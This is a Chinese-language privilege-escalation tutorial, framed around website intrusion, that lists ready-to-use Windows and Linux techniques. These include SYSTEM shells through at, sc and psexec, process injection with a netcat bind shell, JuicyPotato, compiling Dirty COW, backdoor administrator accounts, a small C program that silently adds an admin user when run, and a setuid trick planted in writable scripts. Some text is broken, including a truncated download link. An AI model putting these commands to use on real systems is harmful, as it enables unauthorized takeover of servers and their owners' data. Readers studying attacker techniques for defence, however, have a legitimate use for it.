提权

提权是指在服务器中提升自己权限的操作,常见于网站入侵过程中,通过利用各种漏洞上传shell,从而获取服务器的控制权。

操作系统的安全基础在于用户空间和内核空间的隔离。内核空间是内核代码运行的地方,而用户空间是用户程序代码运行的地方。这样设计的目的是确保用户程序崩溃时不会影响内核。当进程在内核空间运行时,它处于内核态;在用户空间运行时,则处于用户态。

账号分类包括:

  • 本地系统帐户(SYSTEM):具有完全系统访问权限,是计算机的超级帐户。
  • 本地服务帐户(LOCAL SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。
  • 网络服务帐户(NETWORK SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。

用户在登录时获取权限令牌,而服务账号无需用户登录,会在后台自动启动服务。不同账号的权限各不相同。

在Windows系统中,用户分为三类:user(普通用户)、administrator(管理员)和system(系统管理员)。在Linux系统中,用户分为两类:user(普通用户)和root(管理员)。

Windows系统的权限分为三种:user(普通用户权限)、administrator(用户管理员权限)和system(系统管理员权限)。Linux系统的权限分为user(普通权限)和root(管理员权限)。

提权类别包括本地提权、配置提权和漏洞提权。

本地提权

  1. AT命令提权:首先以administrator身份打开cmd,然后输入
    at 10:21 /interactive cmd
    ,在10:21时会打开一个cmd窗口。

  1. SC命令提权
sc Create syscmd binpath="cmd/k start" type= own type= interact
sc start  syscmd

system服务名字可以任意取,binpath是执行的路径。

  1. 内核提权
psexec -i -s -d cmd

  1. 注入进程提权
pinjector.exe -p 2152 cmd 12345

注入进程提权的流程:首先在靶机上的身份是administrator,靶机IP是172.16.11.141。进入靶机中

pinjector.exe
所在的根目录,然后使用
pinjector.exe -l
查看可以注入的进程,选择你想注入的进程。

pinjector.exe -p 1444 cmd 5432

-p是选择注入的进程的pid,这里的5432是端口。

nc  172.16.11.141 5432

漏洞提权

  • 烂土豆提权:属于令牌提权,限制条件包括需要支持SeImpersonate或SeAssignPrimaryToken权限,开启DCOM本地支持RPC或远程服务器支持PRC并能成功登录,能够找到可用的COM对象。

webshell版脚本:

Juicypotato.exe –p whoami
  • 脏牛提权:属于Linux内核提权。下载现成的exp(https://www./link/59893fe5a442e62984d00a242eefc32d。
gcc -pthread dirty.c -o dirty -lcrypt
  • 巴西烤肉
net localgroup administrators admin123456 /add

利用配置不当提权

与利用漏洞提权相比,此方法更常用。大部分企业会对系统的漏洞及时进行补丁更新,很难通过系统的漏洞进行入侵。查找系统中以system权限启动的服务或应用,可以尝试将其替换或反弹shell的方式提权。可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权。代码中是否有过滤参数的操作等都可以加以利用,进行提取。

使用icacls软件(Windows):

icacls
icacls c:\windows\*.exe /save perm /T
i586-mingw32msvc-gcc -o admin.exe admin.c   //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译

admin.c:

#include
int main(){
  int i;
  i=system("net localgroup administrators a /add");
  return 0;
}

只要管理员点击admin.exe,就会将用户a添加到管理员组。

Linux

  1. 找到配置不当的文件

方法1:

find / -perm 777 -exec ls -l {} \;   

-perm 777:指定权限为777的文件,-exec ls-l:对匹配的文件执行ls -l命令,{} \;是格式。

方法2:

find / -writable -type f 2 >/dev/null | grep -v "/proc/".

/proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序。

  1. 在目标文件里添加脚本:如第一步找到了usr文件下的123.sh符合条件,即 /usr/123.sh,就在123.sh里添加
    chmod u+s /bin/dash
    。然后当管理员执行这个脚本的时候
    sh /usr/123.sh
    ,普通用户就可以使用dash获得管理员权限
    /bin/bash
    。还可以从应用系统的配置文件、应用连接数据库的配置文件下手。

其它提权方式

数据库提权

  1. MySQL提权

    • UDF提权:需要知道root账号密码,适用于Win2000、2003系统,且需要secure_file_priv函数打开。利用自定义函数功能,将MySQL账号换为系统system权限。
    • MOF提权:适用于Win2003以下版本,且secure_file_priv参数不为null。
    • 反弹shell提权
  2. SQL Server提权

    • 有sa权限。
    • 有dba权限。
  3. Redis提权:未授权访问,可以通过webshell、上传公钥、反弹shell等方式提权。

  4. Oracle提权:有dba权限执行系统命令。

第三方软件/服务提权

Windows开机时会有一些开机启动的程序,这些程序的权限都是system,因为是system把它们启动的。利用这点,可以将自动化脚本写入启动项,达到提权的目的。